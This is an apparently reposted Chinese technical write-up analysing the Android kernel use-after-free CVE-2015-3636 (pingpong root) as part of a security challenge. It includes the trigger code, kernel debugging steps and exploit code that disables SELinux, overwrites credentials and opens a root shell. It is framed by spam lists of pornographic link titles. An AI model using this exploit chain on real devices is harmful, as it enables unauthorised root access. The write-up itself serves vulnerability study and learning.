日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2015-3636(pingpong root) android内核 UAF漏洞分析

發布時間:2025/3/15 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2015-3636(pingpong root) android内核 UAF漏洞分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

去年差不多這個時候就計劃把這個漏洞給分析了,由于android沒有經常搞,所以踩了很多坑,中間一度因為各種原因停滯放棄,最近遇到一個事情讓我下定決心把它了結,也算是解決一個心病。過程會寫詳細一點,給和我一樣的初學朋友提供點幫助。這個漏洞keen在blackhat上講過[8],是一個很經典的android內核漏洞,也是第一個64bit root,還是很有學習價值的。分析android內核的漏洞需要自己下載android源代碼和內核源代碼,reverse patch,編譯調試。吾愛破解有個比賽就是寫這個漏洞的exploit,并且還提供了相應的環境[3],所以我偷了個懶,直接拿過來用就行了。exploit我在github上也直接找了一份現成的[11],經我測試可用。

漏洞原理

其實很多文章都對漏洞原理描述很清楚了,為了文章完整性我再贅述一下。補丁[12]是在net/ipv4/ping.c的ping_unhash中加了一句sk_nulls_node_init(&sk->sk_nulls_node)。

這行代碼其實就是把node->pprev設置成了NULL。

?

1

2

3

4

static?__inline__?void?sk_nulls_node_init(struct?hlist_nulls_node?*node)

{

????node->pprev?=?NULL;

}

?

我們再看看keen給的POC。

?

1

2

3

4

5

6

int?sockfd?=?socket(AF_INET,?SOCK_DGRAM,?IPPROTO_ICMP);

struct?sockaddr?addr?=?{?.sa_family?=?AF_INET?};

int?ret?=?connect(sockfd,?&addr,?sizeof(addr));

struct?sockaddr?_addr?=?{?.sa_family?=?AF_UNSPEC?};

ret?=?connect(sockfd,?&_addr,?sizeof(_addr));

ret?=?connect(sockfd,?&_addr,?sizeof(_addr));

?

把內核源代碼下載下來看看。

?

1

2

git?clone?https://aosp.tuna.tsinghua.edu.cn/kernel/common.git

git?checkout?remotes/origin/android-3.4?-b?android-3.4

?

當調用socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)創建socket再調用connect時,在內核中調用到了inet_dgram_connect。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

int?inet_dgram_connect(struct?socket?*sock,?struct?sockaddr?*?uaddr,

???????????????int?addr_len,?int?flags)

{

????struct?sock?*sk?=?sock->sk;

?

????if?(addr_len?<?sizeof(uaddr->sa_family))

????????return?-EINVAL;

????if?(uaddr->sa_family?==?AF_UNSPEC)

????????return?sk->sk_prot->disconnect(sk,?flags);

?

????if?(!inet_sk(sk)->inet_num?&&?inet_autobind(sk))

????????return?-EAGAIN;

????return?sk->sk_prot->connect(sk,?(struct?sockaddr?*)uaddr,?addr_len);

}

EXPORT_SYMBOL(inet_dgram_connect);

?

如果sa_family == AF_UNSPEC會根據協議類型調用相應的disconnect routine,對于PROTO_ICMP來說是udp_disconnect。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

int?udp_disconnect(struct?sock?*sk,?int?flags)

{

????struct?inet_sock?*inet?=?inet_sk(sk);

????/*

?????* 1003.1g?-?break?association.

?????*/

?

????sk->sk_state?=?TCP_CLOSE;

????inet->inet_daddr?=?0;

????inet->inet_dport?=?0;

????sock_rps_reset_rxhash(sk);

????sk->sk_bound_dev_if?=?0;

????if?(!(sk->sk_userlocks?&?SOCK_BINDADDR_LOCK))

????????inet_reset_saddr(sk);

?

????if?(!(sk->sk_userlocks?&?SOCK_BINDPORT_LOCK))?{

????????sk->sk_prot->unhash(sk);

????????inet->inet_sport?=?0;

????}

????sk_dst_reset(sk);

????return?0;

}

EXPORT_SYMBOL(udp_disconnect);

最終會調用到ping_unhash。

?

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

void?ping_unhash(struct?sock?*sk)

{

????struct?inet_sock?*isk?=?inet_sk(sk);

????pr_debug("ping_unhash(isk=%p,isk->num=%u)\n",?isk,?isk->inet_num);

????if?(sk_hashed(sk))?{

????????write_lock_bh(&ping_table.lock);

????????hlist_nulls_del(&sk->sk_nulls_node);

????????sk_nulls_node_init(&sk->sk_nulls_node);

????????sock_put(sk);

????????isk->inet_num?=?0;

????????isk->inet_sport?=?0;

????????sock_prot_inuse_add(sock_net(sk),?sk->sk_prot,?-1);

????????write_unlock_bh(&ping_table.lock);

????}

}

EXPORT_SYMBOL_GPL(ping_unhash);

如果sk_hashed條件成立則會調用hlist_nulls_del在一個雙向鏈表hlist中刪除sk_nulls_node。

?

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

static?inline?void?__hlist_nulls_del(struct?hlist_nulls_node?*n)

{

?????????struct?hlist_nulls_node?*next?=?n->next;

?????????struct?hlist_nulls_node?**pprev?=?n->pprev;

?????????*pprev?=?next;

?????????if?(!is_a_nulls(next))

???????????????????next->pprev?=?pprev;

}

?

static?inline?void?hlist_nulls_del(struct?hlist_nulls_node?*n)

{

?????????__hlist_nulls_del(n);

?????????n->pprev?=?LIST_POISON2;

}

當n也就是sk_nulls_node被刪除之后n->pprev被設置為LIST_POISON2,它的值是固定的0x200200。我們看一下第二次connect的時候sk_hashed條件是否成立。

?

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

static?inline?int?sk_unhashed(const?struct?sock?*sk)

{

?????????return?hlist_unhashed(&sk->sk_node);

}

?

static?inline?int?sk_hashed(const?struct?sock?*sk)

{

?????????return?!sk_unhashed(sk);

}

?

static?inline?int?hlist_unhashed(const?struct?hlist_node?*h)

{

?????????return?!h->pprev;

}

?

這里注意sk_node和sk_nulls_node共用了一個union,兩者的定義也十分類似,似乎有一點類型混淆的感覺。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

#define?sk_node??????????? __sk_common.skc_node

#define?sk_nulls_node????? __sk_common.skc_nulls_node

?

????union?{

????????struct?hlist_node? skc_node;

????????struct?hlist_nulls_node?skc_nulls_node;

????};

?

struct?hlist_node?{

????struct?hlist_node?*next,?**pprev;

};

?

struct?hlist_nulls_node?{

????struct?hlist_nulls_node?*next,?**pprev;

};

所以雖然設置的是sk_nulls_node->pprev判斷的是sk_node->pprev但是實際上是一個東西,sk_hashed條件成立,再次刪除已經刪除的對象,執行*pprev = next時pprev已經是0x200200了,如果這個地址沒有映射到用戶態就會kernel panic。poc中第一次AF_INET的connect是為了將sk加入hlist中。下面就是poc的效果。

?

這里Unable to handle kernel paging request at virtual address的地址是0x1360而不是0x200200,可能出題的人在這里修改了一下。我們在IDA里面看看。如果采取自己編譯調試的方式是可以加載vmlinux符號文件的,這里我們就只能自己從機器上得到函數地址和名稱然后加載到IDA中了。把Image拖到IDA64中,Process type選擇ARM Little-endian [ARM]。

把ROM start address和Loading address設置為0xFFFFFFC000080000(32位系統就是0xC0008000)。Android 8.0中才為4.4及以后的內核引入了KASLR,很顯然我們這里沒有KASLR,這個值是固定的。

選擇64-bit code。

這個時候IDA是什么也識別不出來的,因為Image文件并不是一個ELF,用binwalk看一下就會發現其實它組成還挺復雜的。我們接下來從運行的虛擬機中導出內核函數名稱和地址。在ubuntu這樣的發行版和android內核中有Kernel Address Display Restriction,所以先把它關掉。

?

1

2

3

sh?-c?"?echo?0?>?/proc/sys/kernel/kptr_restrict"

cat?/proc/kallsyms?>?/data/local/tmp/1.txt

adb?pull?/data/local/tmp/1.txt

?

寫一個簡單的腳本把這些函數名加載到IDA里面。

?

1

2

3

4

5

6

7

8

9

ksyms?=?open("D:\\1.txt")

for?line?in?ksyms:

????addr?=?int(line[0:16],16)

????name?=?line[19:].replace('_','')

????name?=?line[19:].replace('\n','')

????idc.MakeCode(addr)

????idc.MakeFunction(addr)

????idc.MakeName(addr,name)

????Message("%08X:%s"%(addr,name))

?

出來的函數列表里面只有ping_hash沒有ping_unhash,我們把ping_hash的End address改成0xFFFFFFC000409614再在0xFFFFFFC000409614處create function處理一下就可以了。

我們可以看到crash處0xFFFFFFC000409644和前后的代碼。

?

1

2

3

ROM:FFFFFFC00040963C?????????????????LDR?????????????X1,?[X19,#0x38]

ROM:FFFFFFC000409640?????????????????LDR?????????????X0,?[X19,#0x30]

ROM:FFFFFFC000409644?????????????????STR?????????????X0,?[X1]

?

這三行代碼對應源代碼中的下面這三行。

?

1

2

3

struct?hlist_nulls_node?*next?=?n->next;

struct?hlist_nulls_node?**pprev?=?n->pprev;

*pprev?=?next;

?

所以進一步確認了漏洞成因和我們前面所分析的一樣。如何讓IDA分析Image講的有點多了,主要參考了[1]和[4]。接下來還是回到正題,既然說這是一個UAF漏洞那么哪里UAF了呢?在hlist_nulls_del之后還有一個sock_put。

?

1

2

3

4

5

6

/*?Ungrab?socket?and?destroy?it,?if?it?was?the?last?reference.?*/

static?inline?void?sock_put(struct?sock?*sk)

{

????if?(atomic_dec_and_test(&sk->sk_refcnt))

????????sk_free(sk);

}

?

sock_put將sk的引用計數減1,并且判斷其值是否為0,如果為0的話就free掉sk。可以想到最后一次connect進入本不該進入的if分支之后如果我們提前mmap了0x200200(這里是0x1360)就不會崩潰,接下來進入sock_put,引用計數變成0,sk被free掉,但是文件描述符還在用戶空間,這就造成了UAF。

調試過程

我們可以先測一下這個EXP。不過要注意的是必須用adb shell過去然后su shell才能繼承root的權限得到建立socket的權限。測試發現這個EXP確實是可用的,下面就開始調試。

我調試時的命令如下。

?

1

./qemu-system-aarch64?-cpu?cortex-a57?-machine?type=ranchu?-m?1024?-append?'console=ttyAMA0,38400?keep_bootcon?earlyprintk=ttyAMA0'?-serial?mon:stdio?-kernel?Image?-initrd?/home/hjy/Desktop/android-problem-env/ramdisk.img?-drive?index=0,id=sdcard,file=/home/hjy/Desktop/android-problem-env/system.img?-device?virtio-blk-device,drive=sdcard?-drive?index=1,id=userdata,file=/home/hjy/Desktop/android-problem-env/.//userdata.img?-device?virtio-blk-device,drive=userdata?-drive?index=2,id=cache,file=/home/hjy/Desktop/android-problem-env/cache.img?-device?virtio-blk-device,drive=cache?-drive?index=3,id=system,file=/home/hjy/Desktop/android-problem-env/system.img?-device?virtio-blk-device,drive=system?-netdev?user,id=mynet?-device?virtio-net-device,netdev=mynet?-show-cursor?-nographic?-L?lib/pc-bios?-gdb?tcp::1234,ipv4?–S

這里又有一個很坑的地方,用NDK里面的gdb去調試會報Remote 'g' packet reply is too long,需要我們自己修改gdb源代碼并且編譯[9]。

?

?

1

git?clone?https://android.googlesource.com/toolchain/gdb.git

?

下載下來發現有gdb-7.11和gdb-8.0.1兩個文件夾,由于pwndbg和GEF等插件目前好像還不支持gdb 8.x,所以我們選擇gdb-7.11。找到gdb-7.11/gdb目錄下的remote.c文件,注釋掉這兩行。

?

1

2

??if?(buf_len?>?2?*?rsa->sizeof_g_packet)

?????error?(_(“Remote?‘g’?packet?reply?is?too?long:?%s”),?rs->buf);

?

在后面加上下面這幾行。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

??if?(buf_len?>?2?*?rsa->sizeof_g_packet)?

???{

??????rsa->sizeof_g_packet?=?buf_len?;

??????for?(i?=?0;?i?<?gdbarch_num_regs?(gdbarch);?i++)

??????{

?????????if?(rsa->regs[i].pnum?==?-1)

?????????continue;

?

?????????if?(rsa->regs[i].offset?>=?rsa->sizeof_g_packet)

?????????rsa->regs[i].in_g_packet?=?0;

?????????else

?????????rsa->regs[i].in_g_packet?=?1;

??????}

???}

?

編譯安裝。

?

1

2

3

./configure?--target=aarch64-linux-androideabi?--prefix=/home/hjy/Desktop/gdb_build/gdb/gdb-7.11/arm-linux

make

make?install

安裝GEF,因為很多人說pwndbg比較卡而GEF不卡。

?

?

1

wget?-q?-O-?https://github.com/hugsy/gef/raw/master/scripts/gef.sh?|?sh

?

終于開始調試了,不過還有一個小坑,我們應該用gef-remote -q localhost:1234也就是加上-q參數不然會報錯,原因在這里[7]。接下來進入漏洞利用的部分。我們可以看到在main函數中整個漏洞觸發漏洞的過程和POC中一樣。

?

1

2

3

4

5

6

vultrig_socks[i]?=?socket(AF_INET,?SOCK_DGRAM,?IPPROTO_ICMP);

ret?=?connect(vultrig_socks[i],?&addr1,?sizeof(addr1));

system("echo?4096?>?/proc/sys/vm/mmap_min_addr");

void*?user_mm?=?mmap(PAGE_SIZE,?MAX_NULLMAP_SIZE,?PROT_READ|PROT_WRITE|PROT_EXEC,?MAP_PRIVATE|?MAP_FIXED?|MAP_ANONYMOUS,?-1,?0);

ret?=?connect(vultrig_socks[i],?&addr2,?sizeof(addr2));

ret?=?connect(vultrig_socks[i],?&addr2,?sizeof(addr2));

修改mmap_min_addr并mmap就是為了避免崩潰這樣才能執行到sock_put的邏輯。接下來的操作叫做physmap spray,大家如果對CVE-2014-3153(towelroot)還有印象的話,會記得它是通過sendmmsg修改內核數據的,keen在文章中解釋了,通過sendmmsg完成堆噴的條件是存在漏洞的對象大小必須和SLAB分配器通常使用的大小一致。而在一些android設備上,PING sock對象的大小是576,不是期望的512或者1024。這樣就很難對齊,利用會很不穩定,所以采用的是physmap spray的方法。

?

在內核中physmap在一個相對較高的地址,而SLAB通常在一個相對較低的地址,通過噴射其它的內核對象使得SLAB分配器在相對高的地址分配PING sock對象造成physmap和SLAB重疊,這個過程叫做lifting。這里的“其它的內核對象”直接用PING sock對象其實就可以。

然后釋放掉用來做lifting的PING sock對象,和physmap重疊的那一部分則留做觸發漏洞。那么怎樣才能知道什么時候PING sock對象已經被physmap中的數據填充了可以停止噴射以及怎樣找到已經被填充的PING sock對象呢?在physmap spray中進行了大量的mmap操作,并且將mapped_page+0x1D8處賦值為MAGIC_VALUE+physmap_spray_pages_count,接下來search_exploitable_socket的時候用ioctl一個一個去試。

?

1

ioctl(exp_sock,?SIOCGSTAMPNS,?&time);

?

這里的time是timespec結構體,會調用到sock_get_timestampns。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

int?sock_get_timestampns(struct?sock?*sk,?struct?timespec?__user?*userstamp)

{

????struct?timespec?ts;

????if?(!sock_flag(sk,?SOCK_TIMESTAMP))

????????sock_enable_timestamp(sk,?SOCK_TIMESTAMP);

????ts?=?ktime_to_timespec(sk->sk_stamp);

????if?(ts.tv_sec?==?-1)

????????return?-ENOENT;

????if?(ts.tv_sec?==?0)?{

????????sk->sk_stamp?=?ktime_get_real();

????????ts?=?ktime_to_timespec(sk->sk_stamp);

????}

????return?copy_to_user(userstamp,?&ts,?sizeof(ts))???-EFAULT?:?0;

}

EXPORT_SYMBOL(sock_get_timestampns);

?

這個函數會返回sk->sk_stamp,在我們的環境中它在sock對象中的偏移正是0x1D8。

找到exp_sock之后因為它已經完全在我們的控制之中了,所以函數指針也是可控的,對其調用close函數就可以控制PC了。可以看到close是在inet_close中調用的。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

int?inet_release(struct?socket?*sock)

{

????struct?sock?*sk?=?sock->sk;

?

????if?(sk)?{

????????long?timeout;

?

????????sock_rps_reset_flow(sk);

?

????????/*?Applications?forget?to?leave?groups?before?exiting?*/

????????ip_mc_drop_socket(sk);

?

????????/*?If?linger?is?set,?we?don't?return?until?the?close

?????????*?is?complete.??Otherwise?we?return?immediately.?The

?????????*?actually?closing?is?done?the?same?either?way.

?????????*

?????????*?If?the?close?is?due?to?the?process?exiting,?we?never

?????????*?linger..

?????????*/

????????timeout?=?0;

????????if?(sock_flag(sk,?SOCK_LINGER)?&&

????????????!(current->flags?&?PF_EXITING))

????????????timeout?=?sk->sk_lingertime;

????????sock->sk?=?NULL;

????????sk->sk_prot->close(sk,?timeout);

????}

????return?0;

}

EXPORT_SYMBOL(inet_release);

?

找一下發現偏移是0x28,所以我們將payload+0x28設置為payload的地址,將payload開頭設置為0xFFFFFFC00035D788讓它跳到kernel_setsockopt。

?

1

2

3

4

???*(unsigned?long?*)((char?*)payload?+?0x28)??=?(unsigned?long)payload;

???*(unsigned?long?*)((char?*)payload)?????????=?(unsigned?long)0xFFFFFFC00035D788;

???*(unsigned?long?*)((char?*)payload?+?0x68)??=?(unsigned?long)0xFFFFFFC00035D7C0;

???close(exp_sock);

?

addr_limit規定了特定線程的用戶空間地址最大值,超過這個值的地址用戶空間代碼不能訪問。所以把addr_limit改成0xffffffff就可以對內核為所欲為了。現在我們已經來到了kernel_setsockopt,應該怎么改addr_limit呢?當內核需要去使用系統調用的時候就要去掉地址空間的限制,一般的流程是(1)oldfs=get_fs(),(2)set_fs(KERNEL_DS),(3)set_fs(oldfs),如果能繞過set_fs(oldfs)的執行,內核空間將一直對用戶態打開,這樣就繞過了限制。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

int?kernel_setsockopt(struct?socket?*sock,?int?level,?int?optname,

????????????char?*optval,?unsigned?int?optlen)

{

????mm_segment_t?oldfs?=?get_fs();

????char?__user?*uoptval;

????int?err;

?

????uoptval?=?(char?__user?__force?*)?optval;

?

????set_fs(KERNEL_DS);

????if?(level?==?SOL_SOCKET)

????????err?=?sock_setsockopt(sock,?level,?optname,?uoptval,?optlen);

????else

????????err?=?sock->ops->setsockopt(sock,?level,?optname,?uoptval,

????????????????????????optlen);

????set_fs(oldfs);

????return?err;

}

EXPORT_SYMBOL(kernel_setsockopt);

?

#define?set_fs(x)? (current_thread_info()->addr_limit?=?(x))

?

注意這里因為我們控制了X0所以BLR ?X5跳過了STR ?X20, [X19,#8]。

截一張mosec2016上360冰刃實驗室講的《Android Root利用技術漫談:繞過PXN》[5]中的一張圖幫助理解。

現在可以任意讀寫內核了,下一步是修改全局mmap_min_addr讓我們能夠在用戶態mmap null地址。

?

1

2

3

4

5

6

7

8

9

10

11

???/*

??????overwrite?the?global?variable?mmap_min_addr?to?0,?then?we?can?mmap?NULL?in?user-mode?

???*/

???data8?=?0;?

???kernel_write8((void?*)0xffffffc000652148,?&data8);

???user_mm?=?mmap(NULL,?PAGE_SIZE,?PROT_READ|PROT_WRITE|PROT_EXEC,?MAP_PRIVATE|?MAP_FIXED?|MAP_ANONYMOUS,?-1,?0);

???if(MAP_FAILED?==?user_mm)

???{

??????perror("[*]?mmap?NULL?fail");

??????return?-1;

???}

?

這個地址應該怎么找呢,注意到setup_arg_pages中有mmap_min_addr。

0xFFFFFFC00063EE9F+0x132A9=0xFFFFFFC000652148,就是這么來的。接下來關掉selinux,方法同上。

?

1

2

3

4

5

6

???/*

??????overwirte?selinux_enforcing?to?disable?selinux

???*/

???data4?=?0;

???kernel_write4((void?*)0xffffffc00065399c,?&data4);

???printf("[*]?selinux?disabled.\n");

?

在arm64系統上棧的最大深度為16K,所以unsigned long thread_info_addr=sp&0xFFFFFFFFFFFFC000。task結構體的偏移是0x10,我們再次調用close,通過下面這段gadget把task結構體的指針leak到0x0000000000000018(X1是0)。

?

1

2

3

4

???*(unsigned?long?*)((char?*)payload?+?0x290)?=?0;

???*(unsigned?long?*)((char?*)payload?+?0x28)??=?(unsigned?long)payload;

???*(unsigned?long?*)((char?*)payload)?????????=?(unsigned?long)0xFFFFFFC0004AA518;

???close(exp_sock);

?

接下來改掉task_struct->cred,整個提權過程就完成了。

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

???????/*

??????????overwrite?task_struct->cred?to?gain?root?privilege

???????*/

???????task?=?NULL;

???????task?=?(void?*)*(unsigned?long?*)((char?*)user_mm?+?0x18);

???????printf("[*]?task:%p\n",?task);?

?

???????cred?=?NULL;

???????kernel_read8((char?*)task?+?0x398,?&cred);

???????printf("[*]?cred:%p\n",?cred);

?

???????data4?=?0;

???????kernel_write4((char?*)cred?+??4,??&data4);

???????kernel_write4((char?*)cred?+??8,??&data4);

???????kernel_write4((char?*)cred?+?12,??&data4);

???????kernel_write4((char?*)cred?+?16,??&data4);

???????kernel_write4((char?*)cred?+?20,??&data4);

???????kernel_write4((char?*)cred?+?24,??&data4);

???????kernel_write4((char?*)cred?+?28,??&data4);

???????kernel_write4((char?*)cred?+?32,??&data4);

?

???????/*

??????????cleanup?to?avoid?crash.?overwirte?task_struct->files->fdt->max_fds?to?0

???????*/

?

???????kernel_read8((char?*)task?+?0x788,?&files);

???????printf("[*]?files:%p\n",?files);

?

???????kernel_read8((char?*)files?+?8,?&fdt);

???????printf("[*]?fdt:%p\n",?fdt);

?

???????data4?=?0;

???????kernel_write4(fdt,?&data4);

?

?

??????if(getuid()?==?0)

??????{

??????????printf("[*]?congrats,?enjoy?your?root?shell.\n");

??????????system("/system/bin/sh");

??????}

??????else

??????{

????????printf("[*]?Oops,?you'd?better?have?a?cup?of?tea?and?try?again:(\n");

??????}

???

?

?

????return?0;

?

希望我已經說清楚了所有涉及這個漏洞的知識,讀者能有所收獲。

參考資料

1.逆向ARM64內核zImage
2.Android Interals – Part?4?

3.吾愛破解2016安全挑戰賽?

4.從Android設備中提取內核和逆向分析?

5.Android Root利用技術漫談:繞過PXN?

6.ret2dir: Deconstructing Kernel Isolation?

?

7.https://github.com/hugsy/gef/issues/124

8.Own your Android! Yet Another Universal Root?

?

9.重新編譯arm-linux-androideabi-gdb和gdbserver

10.https://www.kernel.org/doc/htmldocs/networking/API-struct-sock.html?

11.https://github.com/4B5F5F4B/Exploits/tree/master/Linux/CVE-2015-3636?

?

?

12.https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326?diff=split

?

?

?

?

?

https://bbs.pediy.com/thread-230298.htm

總結

以上是生活随笔為你收集整理的CVE-2015-3636(pingpong root) android内核 UAF漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

五月婷婷丁香色 | 亚洲国产丝袜在线观看 | 欧美日韩在线观看一区 | 天天综合视频在线观看 | 在线观看成人一级片 | 亚洲国产经典视频 | 欧美激情第28页 | 日本午夜免费福利视频 | 欧美日韩在线观看一区二区三区 | 成年人av在线播放 | 国产97在线视频 | 婷婷久久精品 | 欧美精品一区二区性色 | 在线观看av中文字幕 | 18国产精品白浆在线观看免费 | 国产午夜精品一区二区三区嫩草 | 在线观看国产 | 亚洲男人天堂2018 | 日韩精品一区二区三区免费视频观看 | 日韩视频一区二区在线 | 国产视频 亚洲精品 | 午夜精品视频免费在线观看 | 久久国产经典 | 99热在线精品观看 | 国产成人精品亚洲a | 韩国一区二区三区视频 | 久久人人爽人人爽人人片av软件 | 日韩欧美有码在线 | 毛片99| 色五婷婷| 97激情影院| 日本韩国精品一区二区在线观看 | 五月婷婷在线播放 | 日韩精品视频在线观看免费 | 精品自拍av | 国产成人久久精品77777 | 天天天色 | 国产一二三四在线观看视频 | 精品国产成人av在线免 | 久久精品之 | 欧美性粗大hdvideo | 精品国产一区二区三区日日嗨 | 九九亚洲视频 | 国产 色 | 欧美精品午夜 | 青青草久草在线 | 99久久这里有精品 | 97在线观看免费观看高清 | 国产色视频网站2 | 国产中文字幕在线看 | 国产一区在线免费观看 | 亚洲免费精品视频 | 成人中文字幕av | 日韩免费在线看 | aaa亚洲精品一二三区 | 麻豆精品在线视频 | 日韩一区二区三区不卡 | 日韩理论片 | av三级在线看 | 伊人婷婷 | aaa亚洲精品一二三区 | 高清久久久 | 亚洲国产综合在线 | 国产精品午夜久久久久久99热 | 欧美日韩激情视频8区 | 国产在线日本 | 日本字幕网 | 麻豆国产精品视频 | 国产精品一区二区你懂的 | 国产一区国产二区在线观看 | 99久久久国产免费 | 日韩在线观看视频免费 | 九九九国产 | 日韩精品久久久免费观看夜色 | 久久久99精品免费观看 | 免费日韩 精品中文字幕视频在线 | 欧美极品少妇xxxxⅹ欧美极品少妇xxxx亚洲精品 | 成人毛片一区 | 久久免费毛片 | 亚洲成a人片在线观看网站口工 | 国产精品精品国产 | 黄色在线看网站 | 91av视频导航 | 日韩欧美高清一区二区 | 超碰av在线免费观看 | 免费看三片 | 久久图 | 色婷婷六月天 | 国产小视频免费在线观看 | 日本女人逼 | 免费av试看 | 夜夜操天天操 | 99久久99| 久久字幕 | 欧美日韩在线观看不卡 | 亚洲精品免费在线观看视频 | 亚洲精品美女久久久久 | 91av免费在线观看 | 亚洲天堂网站视频 | 伊人网综合在线观看 | 中文字幕日韩伦理 | 特黄特黄的视频 | 在线观看你懂的网站 | 亚洲黄色区 | 蜜臀91丨九色丨蝌蚪老版 | 国产精品欧美久久久久天天影视 | 欧美日韩国产亚洲乱码字幕 | 日韩成人在线一区二区 | 99精品网站 | 五月天婷婷狠狠 | 一级一片免费观看 | 免费99视频 | 国产精品综合在线 | 色天天综合久久久久综合片 | 久久久久久麻豆 | 国产专区免费 | 麻豆国产网站 | 久草综合在线观看 | 99在线免费观看视频 | 狠狠激情中文字幕 | 蜜臀av性久久久久av蜜臀妖精 | 99资源网| 在线视频免费观看 | 狠狠色免费 | 欧美在线久久 | 国产二区视频在线 | 日本中文一级片 | 免费a v在线 | 中文字幕乱码在线播放 | 182午夜在线观看 | 亚洲手机天堂 | 超碰国产在线播放 | 四虎影视久久久 | 日本在线免费看 | 最新久久免费视频 | 丁香久久婷婷 | 美女久久久 | 欧美日韩高清不卡 | 免费色av | 500部大龄熟乱视频使用方法 | 午夜黄色 | 天天爱综合 | 麻豆小视频在线观看 | 亚洲综合导航 | 精品麻豆入口免费 | 亚洲综合干 | 91综合久久一区二区 | 亚州精品在线视频 | 国产资源在线视频 | 丁香5月婷婷 | 国产精品白浆 | 蜜臀av性久久久久av蜜臀妖精 | 九九免费精品视频 | 综合网欧美| 色播五月激情综合网 | 99精品国产99久久久久久福利 | 亚洲精品国产精品久久99热 | 99精品视频在线观看 | 久免费| 91视频3p | 国产精品久久久久久久久久久免费看 | 亚洲一级片av | 国产精品久久99综合免费观看尤物 | 在线播放日韩av | 欧洲色综合 | 久久成人国产精品一区二区 | 免费看三级 | 久久99精品久久久久久久久久久久 | 黄色片网站av | 香蕉久草在线 | 亚洲综合射 | 丰满少妇麻豆av | 一区二区精品视频 | 日韩一区二区免费播放 | 国产一区二区精 | 日本中文字幕一二区观 | 九九影视理伦片 | 久久 国产一区 | 国产精品免费麻豆入口 | 一级c片| 在线 国产 日韩 | 日韩免费电影一区二区 | 婷婷深爱五月 | 91在线一区二区 | 99精品视频在线观看视频 | 最新精品国产 | 狠狠色丁香婷婷综合欧美 | 久久久精品国产一区二区三区 | 99av国产精品欲麻豆 | 一级黄色网址 | 国产一卡久久电影永久 | 久久兔费看a级 | 99riav1国产精品视频 | 国产精品麻豆视频 | 欧美视频在线二区 | 免费久久网站 | 日韩大片在线免费观看 | 天天射天天干天天 | 国产成人精品综合 | 天天操欧美| 伊人视频 | 久久久久电影 | 天天摸天天舔天天操 | 一区二区三区免费在线观看视频 | 99热精品国产 | 视频在线播放国产 | av网站在线免费观看 | 黄色成人在线 | 亚洲开心激情 | 国产成人精品一区二区三区福利 | 在线观看aaa | av在线短片 | 日韩专区在线 | 人成午夜视频 | 成人国产精品久久久春色 | 9色在线视频 | 日本不卡一区二区三区在线观看 | 久久久久久不卡 | 在线观看黄av| 大胆欧美gogo免费视频一二区 | 国内精品久久久久影院男同志 | 一本一本久久a久久精品综合妖精 | 成人黄色毛片 | 91av网址| 欧美特一级| 深爱开心激情 | 久久久免费播放 | 亚洲理论片| 国产一区在线免费观看视频 | 玖玖爱在线观看 | 四虎影院在线观看av | 91网站观看 | 成人91在线 | 啪啪资源| 精品免费观看视频 | 中文av不卡 | 91桃色国产在线播放 | www.av在线.com| 久久久三级视频 | 在线观看视频国产一区 | 成人在线免费小视频 | 成人h动漫在线看 | 免费成人黄色片 | 亚洲黄色免费电影 | 精品a视频 | 久久天| 国产精品一区二区在线观看免费 | 99中文视频在线 | 久草电影在线观看 | 成人久久电影 | 国产特级毛片aaaaaa | 成年人精品 | 中文字幕二区在线观看 | 国产精品第2页 | 国产在线观看免费观看 | 日韩中文字幕在线不卡 | av黄色国产 | 日本久久中文字幕 | 十八岁免进欧美 | 在线91av| 欧美一级日韩三级 | 九九视频网 | 成人午夜电影网站 | 91成人免费在线视频 | 国产在线观看免 | 亚洲色图22p | 久久老司机精品视频 | av日韩不卡 | 色婷婷成人 | 最新不卡av | 欧美日韩另类在线观看 | 久久综合久久综合这里只有精品 | 91自拍91 | 国产欧美三级 | 日本公乱妇视频 | 在线视频日韩精品 | 激情五月在线观看 | 又黄又爽又色无遮挡免费 | 色综合中文综合网 | 免费毛片aaaaaa | 日韩理论电影在线 | 免费看三级黄色片 | 很黄很黄的网站免费的 | 2018亚洲男人天堂 | 欧美一级免费片 | 国产69精品久久久久久 | 久久涩涩网站 | 久久精品这里都是精品 | 在线视频观看亚洲 | 中文免费 | 国产精品久久久久久一区二区三区 | 热久精品| 日日摸日日爽 | 国产精品一区二区在线免费观看 | 成人影片在线播放 | 日韩免费电影 | 久久精品影片 | 亚洲综合婷婷 | 婷婷久月| 免费观看国产精品视频 | 免费视频91 | 91免费视频网站在线观看 | 一级淫片a| 99久久超碰中文字幕伊人 | 97视频在线观看视频免费视频 | 亚洲精品动漫久久久久 | 精品中文字幕在线观看 | www.日日日.com | 国产一区二区三区免费观看视频 | 久久99九九99精品 | 嫩小bbbb摸bbb摸bbb | 国产二区精品 | 成年人免费在线观看网站 | 国产成人精品久久久久蜜臀 | 特级免费毛片 | 九九综合九九综合 | 国产小视频免费在线观看 | 五月天婷亚洲天综合网鲁鲁鲁 | 亚洲精品国产品国语在线 | 久草精品视频在线看网站免费 | 亚洲一区动漫 | 狠狠色噜噜狠狠狠 | 免费日韩av电影 | 狠狠色丁香九九婷婷综合五月 | 2019中文最近的2019中文在线 | 日韩精品一区二区三区电影 | 